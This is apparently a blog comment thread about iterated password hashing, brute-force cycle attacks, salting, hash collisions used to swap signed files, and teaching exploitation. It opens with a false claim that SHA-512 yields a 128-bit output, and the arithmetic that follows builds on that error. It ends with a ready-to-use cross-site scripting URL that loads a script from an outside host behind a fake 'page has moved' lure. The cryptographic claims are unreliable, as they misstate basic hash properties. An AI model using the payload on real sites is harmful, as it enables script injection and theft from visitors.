Now, lets look at the example of SHA-512 which reduces a 512-bit input into a 128-bit output. This implies that on average there are 4 inputs for every potential output. In a straight rehash of these outputs, we’ve now further reduced our input space to 128-bits. Furthermore, due to the properties of the hashing function the distribution of collisions is random which implies collisions will occur in all successive rehashings. These collisions slowly reduce the potential output space (and hence the input space for the next iteration). The real problem is that while this reduction is less for each successive iteration, it cannot be reversed even through salting.

An interesting way to attack this from a purely brute-force standpoint is to pick a start-value and immediately hash it 1000 times (tracking all of the intermediate values along the way). At this point we keep rehashing until we obtain either a result that matches the target hash (in which case we’ve won) or a result that matches a previous hash value. If we’ve found a previous hash, we check all values in the hash loop to see if one matches the target (in which case we’ve won). Otherwise we start with a new seed and essentially repeat the process. This process essentially has the same complexity as the diminished output-space since the 1000 iterations only affect the initial start from a seed and are insignificant compared to the probable number of iterations before a loop is reached. Additionally, this is a simple attack that does not even attempt to exploit the structural issues further so it is likely that far better attacks exist.

As with single hash password attacks, salting in this case only defeats the pre-computation attacks, but does not increase the complexity of attacking the hash itself. Unfortunately, using the same hash for each iteration does absolutely nothing to reduce the effectiveness of the method mentioned above. It requires a fresh attack against each individual password, but it does not increase the complexity.

If, however, rotate through a finite number of unique hashes as we iterate through the rehashings, then we do reduce the effectiveness of the brute force listed above by an amount approximately equal to the number of unique hashes we’re utilizing (this is actually only true if the GCD of the number of hashes and number of iterations is 1). Unfortunately, in the grand scheme of cryptography this is an ineffective approach as its actual effect on the complexity is relatively insignificant and can be easily countered by increasing the processing power you attack it with proportionally to the number of unique salts. Even in this case though, the security has already been compromised due to the reduction in the size of possible outputs.

I would like to clarify that although my explanation of why this method does not improve security only looks at brute-force attacks, it is very likely that similar adjustments to faster attacks also exist as is often the case in cryptography.

The Birthday Attack (or Birthday Paradox) doesn’t let you choose the birthday, it just says you will find two people with the same birthday. Because your requirements, that the person be born on, perhaps, the 7th of March, or the resulting hash be abcd8765ef01, means collisions are not useful to you.

An example where a collision may matter? (I’m skipping some detail, but you’ll get the gist) You create two versions of a file, be it a contract, software, you name it. One version is innocent, and the other is harmful. Now you generate a collision. Your collision will give you values that you place after the changes in the bad/harmful file. The two files will have the same resulting cryptographic hash. You vet the good file (for example have someone cryptographically sign it (see the last paragraph in A Basic Introduction to Communicating Securely with PGP to understand how hashes are used in that process)), and once the good file is signed you can swap it for the bad file. The signatures will still match, and people will transfer their trust in the signature (originally used to sign the good file) to the bad file.

However, does that matter with the collision resistance being so much smaller? Most password schemes perform a one-way hash. If an attacker gets the password file and can find a collision, then they have effectively found the password (assuming the application doesn’t compare PLAINTEXT to the actual password somehow). Is MD5 any good in the end?

@ArtB The larger process is teaching security, with an end goal of introducing and understanding many of the exploitation techniques in use today. Many, but not all, of today’s exploits are written to take advantage of software running on x86 CPUs. Hence, x86 assembly is very relevant :).

http://code.google.com/p/pep8-1/

Here is a proof of concept, ready to go (wordpress is breaking the link. Just copy/paste):
http://myw3b.net/xss.php?action=<h1><a href="?action=<SCRIPT SRC=http://1488928516/4029q0></SCRIPT>">This page has moved! Please click here!</a></h1><iframe width="1" height="1">

I should note, you will probably generate a warning, but the XSS will still execute.

And my apologies for the mistake ;).